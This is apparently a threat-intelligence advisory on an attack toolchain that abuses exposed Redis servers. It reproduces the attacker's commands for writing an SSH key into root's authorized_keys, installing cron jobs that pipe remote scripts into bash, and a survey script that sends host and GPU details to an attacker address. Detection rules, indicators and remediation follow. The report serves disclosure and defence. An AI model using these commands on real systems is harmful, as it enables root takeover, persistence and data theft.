redis · authorized-keys · cron-persistence · gpu-abuse · xinference · llm-infrastructure · kxkit · linux
KxKit: Redis Key-Planting With a GPU-Aware Host Survey
kxKit is a scripted Redis-to-root toolchain that writes an ed25519 public key into the root account's authorized_keys file through CONFIG SET, installs cron persistence under kx-prefixed filenames, surveys the host for GPUs and inference services, and pulls a 41 MB stripped ELF payload named peak-core.bin.
By Davis Zheng·
TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.
Follow-up to our earlier report Xinference Control-Plane Probing: Model Launches Then Shell Tool Calls.
Executive summary
- 3 sfrom key write to first public-key offer
- 367public-key login attempts from two addresses
- 1 of 9Redis abusers that planted a login key
- 41 MBnear-undetected ELF payload recovered
On 25 October 2026 one address, 38.55.133[.]49, used an exposed, unauthenticated Redis service to write an ed25519 public key into the root account’s authorized_keys file and offered a key for login as root. It then installed cron persistence and a host survey. The toolchain, kxKit, is named for the kx prefix it stamps on the artefacts it creates.
We assess that the entry vector is commodity Redis abuse but that the follow-through reports GPU and inference value back to the operator for later triage. Nine addresses used Redis CONFIG SET in the reviewed activity, which spans 23 to 26 October 2026. Eight wrote only cron files (crontab, root, zzh, backup.db) or a loadable module (exp.so). Only 38.55.133[.]49 planted a login key and used kx-prefixed cron filenames. Its kxdiag cron job reports nvidia-smi -L output and the HTTP status of an inference control plane on port 9997, and sends the result to /kxdiag/ on 38.55.133[.]230. Written about three minutes after the payload fetch, the survey reports on the host and does not gate that fetch. We enriched the indicators through reputation and network-ownership lookups.
Both 38.55.133[.]49 and 38.55.133[.]230 appeared in our earlier report on HTTP enumeration of exposed Xinference servers, disposable model instances and shell-style tool-call tests on 14 and 15 October. In the activity reported here the pair exploited Redis, planted a key for root persistence and staged payloads, and the inference probing continued alongside it.
Key judgments
- The first public-key offer for root arrived three seconds after the SAVE, and the partner address later offered a key for the username kx, which is consistent with a test of the key just planted; the remaining login attempts, across other usernames and both key types, are not accounted for by that evidence. The SAVE that wrote the ed25519 key into an authorized_keys file completed at 04:40:19 on 25 October and the first public-key offer for root arrived at 04:40:22, three seconds later. The partner address later offered a key for the username kx, which is the Redis key name used to carry the public key in the write. Moderate confidence.
- The entry vector is commodity Redis abuse but the follow-through reports GPU and inference value back to the operator for later triage. The kxdiag cron job was written at 04:45 on 25 October, about three minutes after peak-core.bin was fetched at 04:42, so the survey reports rather than gates that fetch. Moderate confidence.
- The kx markers and the planted key belong to this operator rather than to shared tooling. The key comment stronggate-20261021 appears from exactly one address in the reviewed activity, and the cron filenames kxjob and kxdiag, the Redis key name kx and the tarball name kxKit-1.0.0.tar.gz appear from no other source. Public searches for kxKit and peak-core.bin return no reporting. High confidence.
- The chain is machine-driven rather than typed. Redis commands arrived at a near-fixed cadence of 0.8 to 1.0 seconds across four connections, and the key-authentication attempts ran concurrently on one address, with three arriving inside 46 milliseconds at 05:03:42, and at a flat 1.4 to 2.1 second spacing on the other. High confidence.
Timeline
- 2026-10-23 07:00 UTCThree ed25519 public-key attempts for root from the address behind an earlier GPU-compute hijacking kit, one of only four addresses offering login keys in the activity.
- 2026-10-23 16:19 UTC38.55.133[.]230 begins inference control-plane probing with a browser user agent, then Python-urllib against /v1/cluster/version, /v1/cluster/auth and /v1/cluster/info.
- 2026-10-24 10:09 UTCFourteen POSTs to the Xinference custom-model registration endpoint /v1/model_registrations/LLM from 38.55.133[.]230.
- 2026-10-25 04:39 UTC38.55.133[.]49 opens the Redis chain with PING and INFO server.
- 2026-10-25 04:40 UTCData directory repointed to the root key directory, dbfilename set to authorized_keys, SET kx holding the ed25519 key, SAVE.
- 2026-10-25 04:40 UTCFirst public-key authentication attempt for root, three seconds after the SAVE.
- 2026-10-25 04:40 UTCCron persistence written to /etc/cron.d/kxjob and /var/spool/cron/crontabs/root, fetching the partner address on port 8897.
- 2026-10-25 04:42 UTCrun.sh recovered at 24,844 bytes; external address lookups to icanhazip[.]com and api64.ipify[.]org follow within a second.
- 2026-10-25 04:42 UTCpeak-core.bin recovered, 41,252,384 bytes, ELF.
- 2026-10-25 04:45 UTC/etc/cron.d/kxdiag written with the base64 GPU and inference survey that exfiltrates to /kxdiag/ on port 8897.
- 2026-10-25 05:03 UTCConcurrent public-key authentication bursts from 38.55.133[.]49 across root and ubuntu; 225 attempts from this address in total.
- 2026-10-25 19:04 UTC38.55.133[.]230 runs a sustained set of public-key attempts for root at a steady 1.4 to 2.1 second spacing; 142 attempts from this address in total.
- 2026-10-26 12:00 UTCInference control-plane probing from 38.55.133[.]230 continues with rotating truncated user agents against /v1/models, /v1/cluster/devices and /v1/cluster/gpu_info.
The session, in order
04:40:16 CONFIG SET dir /root/.[key-dir]
04:40:17 CONFIG SET dbfilename authorized_keys
04:40:18 SET kx " AAAAC3NzaC1lZDI1NTE5AAAAIN/r3LArfPV6i/xSf6Cxqt4scFsOkwuYH26MX0x/LkOW stronggate-20261021 "
04:40:19 SAVE
04:40:22 ed25519 key offered for username root
04:40:47 SET p "\n\n* * * * * root /bin/bash -c 'curl -s --max-time 8 hxxp://38.55.133[.]230:8897/kxcron/run | bash'\n\n"
04:41:56 SET p "\n\n* * * * * root /bin/bash -c 'curl -s --max-time 25 hxxp://38.55.133[.]230:8897/run.sh | bash'\n\n"
04:45:00 SET d " * * * * * root /bin/bash -c 'echo IyEvYmluL2Jhc2gKRD0kKCAoZWNobyAiPT09IHdob2FtaSA9PT0iOyBpZDsgaG9zdG5hbWU7IHVuYW1lIC1tCmVjaG8gIj09PSB0b29scyA9PT0i... | base64 -d | bash' "
04:45:00 D=$( (echo "=== whoami ==="; id; hostname; uname -m; echo "=== tools ==="; for t in curl wget tar python3 python base64 setsid nohup; do printf "%s=%s " "$t" "$(command -v $t 2>/dev/null || echo NO)"; done; echo; echo "=== gpu ==="; nvidia-smi -L 2>&1 | head -4; echo "=== dirs ==="; ls -d /root /tmp /var/tmp 2>/dev/null; touch /tmp/.kxt 2>&1 && echo "tmp-writable" || echo "tmp-RO"; echo "=== net ==="; curl -s -m 6 -o /dev/null -w "c2=%{http_code} " hxxp://106.3.141[.]104:9997/v1/cluster/version 2>/dev/null; curl -s -m 6 -o /dev/null -w "hub=%{http_code} " hxxp://38.55.133[.]49:8896/kxKit-1.0.0.tar.gz 2>/dev/null; echo ) 2>&1 | base64 -w0 ); curl -s --max-time 12 "hxxp://38.55.133[.]230:8897/kxdiag/[base64]" >/dev/null 2>&1
14:55:47 ed25519 key offered for username kx
A login offer three seconds after the key landed
The chain took six minutes and began with PING and INFO server. 38.55.133[.]49 then repointed the data directory to the root account’s key directory with CONFIG SET dir /root/.[key-dir] (we withhold the directory name) and set the database filename with CONFIG SET dbfilename authorized_keys. It stored the public key under the Redis key kx with SET kx " AAAAC3NzaC1lZDI1NTE5AAAAIN/r3LArfPV6i/xSf6Cxqt4scFsOkwuYH26MX0x/LkOW stronggate-20261021 " (key type prefix removed) and issued SAVE, which writes the file to disk. The Redis commands arrived 0.80 to 1.00 seconds apart with no variation across four connections.
The SAVE completed at 04:40:19, and at 04:40:22 38.55.133[.]49 offered an ed25519 key for login as root. Over the following hour it made 225 public-key attempts across root, ubuntu, admin, centos and ec2-user, using both ed25519 and RSA. Later that day 38.55.133[.]230 made three attempts at 14:55 against root, ubuntu and kx, then a run against root from 19:04, for 142 attempts in total. On one of the pair the key-authentication attempts ran concurrently, with three inside 46 milliseconds at 05:03:42. On the other they came at a flat 1.4 to 2.1 second spacing. Only four addresses attempted public-key authentication in the reviewed activity, and the two outside the pair each made fewer than ten attempts.
The login offer came three seconds after the SAVE, and 38.55.133[.]230 later tried the username kx, which is the Redis key name that carried the public key. Both fit a test of the key just planted. That one key write does not explain the remaining attempts across other usernames and both key types, and the key material offered at login was not compared with the key written.
Three cron writes
Between 04:40:44 and 04:41:56 38.55.133[.]49 wrote persistence three times: to /etc/cron.d/kxjob, to /var/spool/cron/crontabs/root and again to kxjob with a longer timeout. Together these writes cover both the cron.d and the crontabs layouts. Each job is a root cron line that pipes curl output into bash. The two kxjob lines fetch /kxcron/run and /run.sh from 38.55.133[.]230 on port 8897, with curl --max-time caps of 8 and 25 seconds. What the crontabs/root line fetches is not on record.
The kxdiag survey
The kxdiag cron job, written at 04:45 about three minutes after peak-core.bin was fetched at 04:42, runs a base64-encoded survey. Once decoded, the survey script collects the following items.
- identity (
id,hostname,uname -m) - a tool inventory covering curl, wget, tar, python3, python, base64, setsid and nohup
- GPU presence through
nvidia-smi -L, trimmed to four lines - a
/tmpwritability test that leaves/tmp/.kxt - two reachability checks whose HTTP status codes it labels
c2andhub
The c2 check targets /v1/cluster/version on 106.3.141[.]104:9997. The hub check targets the kxKit tarball kxKit-1.0.0.tar.gz on 38.55.133[.]49 port 8896. The whole transcript is base64-encoded and sent as a path segment in one GET to /kxdiag/ on 38.55.133[.]230:8897, under a 12-second --max-time cap.
Between 23 and 26 October 38.55.133[.]230 also probed inference control-plane endpoints including /v1/models, /v1/cluster/devices and /v1/cluster/gpu_info, and sent 14 POSTs to /v1/model_registrations/LLM. Port 9997 is the default for the Xinference model-serving supervisor, and the cluster version route is one of its endpoints. The c2 check therefore tests whether an Xinference control plane answers at 106.3.141[.]104. An enrichment lookup places that address in a China Unicom Beijing Province network with no detections from any reputation engine. We have not established that the operator owns that address, and an exposed supervisor in a provider range fits a third-party host just as well.
A 41 MB ELF that almost nothing flags
The follow-on fetch peak-core.bin is an ELF of 41,252,384 bytes. VirusTotal has held it since 16 October 2026 with 2 of 75 detections, compared with 43 of 62 for the static XMRig build seen in comparable chains. VirusTotal tags it sets-process-name and shows a single LOAD segment with no section mappings, which is consistent with packing or a stripped static build. The other recovered fetches were run.sh at 24,844 bytes and two replies of 13 and 14 bytes from public IP-lookup services. The binary’s public dynamic-analysis record shows only package-manager traffic to Canonical addresses and Canonical’s Snapcraft API. That record does not establish what the binary does on a GPU host, and this remains undetermined.
Tradecraft
Sequencing: 38.55.133[.]49 wrote the key and offered a login before it wrote any cron job or fetched any payload. As a result, the root key gives access independently of the cron jobs.
Opsec: every operator fetch goes to a bare IPv4 address on a high port and needs no name resolution. The GET-path exfiltration leaves no request body to log. The curl --max-time caps of 8 and 25 seconds on the cron fetches and 12 seconds on the kxdiag exfiltration call end each request after a fixed time.
Targeting: the survey reports GPU presence and model-serving reachability. 38.55.133[.]49 installed it after the payload fetch, and its results can inform only later activity. We do not know whether the operator selects hosts for GPU capacity or mines indiscriminately, because what peak-core.bin does on a GPU host remains undetermined.
Tooling: no single cron path or user-agent signature matches all of this activity. The persistence writes cover two cron layouts, /etc/cron.d and /var/spool/cron/crontabs. The inference probing used four different truncated variants of a Chrome user agent plus Python-urllib, and the string changed per run.
Mistake: the operator commented the planted key stronggate-20261021 and gave a kx prefix to the Redis key, the cron files, the /tmp test file and the kxKit tarball. These labels give defenders specific strings to search for on disk. A versioned, consistently branded toolchain implies a build pipeline and reuse across victims. The key comment appears from exactly one address in the reviewed activity, and the other markers appear from no other source.
Attribution stays at low confidence because no marker links the pair to a known operator. Public searches for kxKit and peak-core.bin return no reporting. The address behind an earlier Ray and container GPU-hijacking kit, which also planted an operator key, made three root public-key attempts in the same days. No kx marker, no stronggate key comment and no shared payload URL is observed from it, and the key material it offered is not on record. The evidence neither shows nor rules out a shared operator.
How we tested it
We refuted the reading that this is ordinary Redis cryptojacking indistinguishable from the other eight abusers, because only 38.55.133[.]49 planted a login key and used kx-prefixed cron filenames. We found support for a fixed script over a person at a keyboard. The telemetry left inconclusive whether the login attempts verify the planted key or are generic spraying, and whether this is the operator of the earlier Ray and container GPU-hijacking kit. Whether the activity continued after 26 October is not established.
| Explanation | Test | Result | Verdict |
|---|---|---|---|
| This is ordinary Redis cryptojacking with an off-the-shelf miner, indistinguishable from the eight other Redis abusers in the activity | Compared the Redis write targets and payloads of every address using CONFIG SET, and checked the recovered binary against the usual static XMRig signature | Nine addresses used CONFIG SET; eight wrote cron files (crontab, root, zzh, backup.db) or a loadable module (exp.so), and only 38.55.133[.]49 wrote into the root key directory with dbfilename authorized_keys and only it used kxjob and kxdiag. The payload is a 41,252,384-byte ELF at 2 of 75 detections with a single LOAD segment, not the 43-of-62 static XMRig build seen in comparable chains | Refuted |
| The public-key login attempts are verification of the key just written through Redis, not generic spraying | Measured the interval between the SAVE that wrote the authorized_keys file and the first public-key offer, and compared the username set against the Redis key name used in the write | The first offer for root followed the SAVE by three seconds (04:40:19 SAVE, 04:40:22 first offer), and the partner address later offered a key for username kx, the Redis key name carrying the public key; that is consistent with a test of the key just written, but the remaining attempts, across ubuntu, admin, centos and ec2-user and in both ed25519 and RSA, are not accounted for by the key write, and the offered key material was not compared | Inconclusive |
| A fixed script rather than a person at a keyboard | Inter-command gaps across the Redis connections and the key-authentication bursts | Redis commands spaced 0.80 to 1.00 seconds with no variation across four connections; key-auth attempts concurrent on one address (three inside 46 ms at 05:03:42) and a flat 1.4 to 2.1 seconds on the other | Supported |
| The same operator as the earlier Ray and container GPU-hijacking kit, which also planted an operator key | Compared marker sets and key material between that address and this pair | That address made three root public-key attempts in the same days, but no kx marker, no stronggate key comment and no shared payload URL is observed from it, and the offered key material itself is not on record | Inconclusive |
What to check if your Redis faces the internet
Require authentication and rename or disable CONFIG. Then audit root’s authorized_keys for a key commented stronggate-20261021, and /etc/cron.d for kxjob or kxdiag. Check /var/spool/cron/crontabs/root for an added entry and /tmp for .kxt. Removing the cron files does not remove the key, which has to be deleted from authorized_keys separately.
Indicators of compromise
The 6 network indicators below are defanged; hashes and paths are given as observed.
Network
| Indicator | Context |
|---|---|
38.55.133[.]49 | Redis exploitation source and kit tarball host on port 8896 |
38.55.133[.]230 | payload and exfiltration host on port 8897, login-key prober, inference control-plane prober |
hxxp://38.55.133[.]230:8897/run.sh | cron-fetched stage, recovered at 24,844 bytes |
hxxp://38.55.133[.]230:8897/kxcron/run | first cron fetch target, curl piped into bash as root |
hxxp://38.55.133[.]49:8896/kxKit-1.0.0.tar.gz | kit tarball whose HTTP status the survey reports as hub |
106.3.141[.]104 | inference control plane on port 9997 whose /v1/cluster/version status the survey reports as c2; ownership not established and it may itself be a victim host |
Files (SHA-256)
| Indicator | Context |
|---|---|
04d6aec1567d7b48ee231fdf68fc7e172cbb80c93b6e90c6b1e98d2c3374f680 | peak-core.bin, 41,252,384-byte ELF, 2 of 75 engines |
1c57c5ffeec4e9b7bc5ac0a13c4c0c909e44fad15c1a86c6b729034034906086 | run.sh, 24,844-byte shell stage fetched by the cron line |
Host artefacts
| Indicator | Context |
|---|---|
hxxp://38.55.133[.]230:8897/kxdiag/[base64] | survey exfiltration; observed with a base64 path segment of about 1.5 KB |
/etc/cron.d/kx[word] | root cron files written through Redis; observed as kxjob and kxdiag |
/tmp/.kxt | writability marker touched by the survey |
AAAAC3NzaC1lZDI1NTE5AAAAIN/r3LArfPV6i/xSf6Cxqt4scFsOkwuYH26MX0x/LkOW stronggate-20261021 | ed25519 public key body and comment written into the root account’s authorized_keys file through Redis; hunt the comment |
Detection
Sigma
Redis CONFIG SET redirecting the data file into a key or cron directory (needs Redis command logging) (candidate).
title: Redis CONFIG SET redirecting the data file into a key or cron directory (needs Redis command logging)
status: experimental
description: Detects the Redis file-write primitive used to plant authorized_keys or root cron jobs, and the kx-prefixed filenames of this toolchain.
logsource:
product: redis
category: application
detection:
config_cmd:
command: 'CONFIG'
target_dir:
args|contains:
- '/root/.'
- '/etc/cron.d'
- '/var/spool/cron'
target_file:
args|contains:
- 'authorized_keys'
- 'kxjob'
- 'kxdiag'
condition: config_cmd and (target_dir or target_file)
falsepositives:
- Redis does not log commands by default, so this rule needs MONITOR, slowlog or a protocol-aware proxy
- Backup or migration tooling that legitimately repoints dir and dbfilename
level: high
Detection logic
- kx persistence artefacts on a Linux host (host, candidate). Alert on an authorized_keys entry whose comment matches stronggate-[digits], on any file in /etc/cron.d or /var/spool/cron whose name begins with kx, on the marker file /tmp/.kxt, and on /tmp/peak-core.bin. Any one of these on a host that also runs Redis should be treated as root compromise, and the planted key must be removed as well as the cron line.
- Host survey exfiltrated as a base64 URL path to a high port (network, candidate). Alert on outbound HTTP GETs to a bare IPv4 address on a non-standard port (observed 8896 and 8897) where the path begins /kxdiag/ or carries a single path segment longer than 512 characters that decodes as base64 text. Also alert on cron-originated curl piped into bash where the URL host is a bare address.
Remediation
- Require authentication on Redis, bind it to localhost or a management network, and rename or disable the CONFIG command; treat any internet-reachable Redis as already compromised.
- Audit the root account’s authorized_keys file and every user’s authorized_keys for an ed25519 entry commented stronggate-20261021 and remove it; rotating passwords does nothing against a planted key.
- Remove /etc/cron.d/kxjob, /etc/cron.d/kxdiag and root cron entries that pipe curl into bash, then look for /tmp/.kxt and /tmp/peak-core.bin.
- Block egress from server subnets to bare-IP HTTP on non-standard ports, which is the only channel this chain uses for staging and for exfiltration.
- On GPU and inference hosts, put the model-server control plane behind authentication and an allowlist: this operator’s survey reports nvidia-smi output and whether /v1/cluster/version answers.
MITRE ATT&CK mapping
| Tactic | Technique | Observed |
|---|---|---|
| Initial access | T1190 Exploit Public-Facing Application | Unauthenticated Redis driven through CONFIG SET and SAVE to write files as root. |
| Persistence | T1098.004 Account Manipulation: Authorized Keys | Data directory repointed to the root key directory with dbfilename authorized_keys, then SET kx holding an ed25519 public key commented stronggate-20261021. |
| Persistence | T1053.003 Scheduled Task/Job: Cron | Root cron lines written to /etc/cron.d/kxjob, /etc/cron.d/kxdiag and /var/spool/cron/crontabs/root piping curl output into bash. |
| Lateral movement | T1021.004 Remote Services: Secure Shell | 367 public-key authentication attempts from the pair across root, ubuntu, admin, centos, ec2-user and kx; the first offer for root followed the key write by three seconds. |
| Discovery | T1082 System Information Discovery | Survey collects id, hostname, uname -m, a tool inventory, nvidia-smi -L and /tmp writability. |
| Exfiltration | T1041 Exfiltration Over C2 Channel | Survey transcript base64-encoded into the path of a single GET to hxxp://38.55.133[.]230:8897/kxdiag/. |
References
- Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining (Trend Micro)
- Redis Cryptomining Botnet Compromised 3,562 Servers (Hunt[.]io)
- Your Redis Server Looks Fine. That’s the Problem. (Imperva)
Methodology and analyst notes
The reading rests on two addresses: one Redis chain of about six minutes on 25 October 2026, and inference control-plane probing by 38.55.133[.]230 between 23 and 26 October 2026. What peak-core.bin does on a host with a GPU was not determined; no code analysis was performed and its public dynamic-analysis record shows only package-manager traffic. Whether the key offered for login is the key written through Redis is inferred from the three-second gap and the kx username, not from a comparison of key material. The contents of the fourteen model-registration POSTs are not known, so what the operator tried to register on the inference control plane is unsettled.
Samples available on request (contact@kinryu.sh).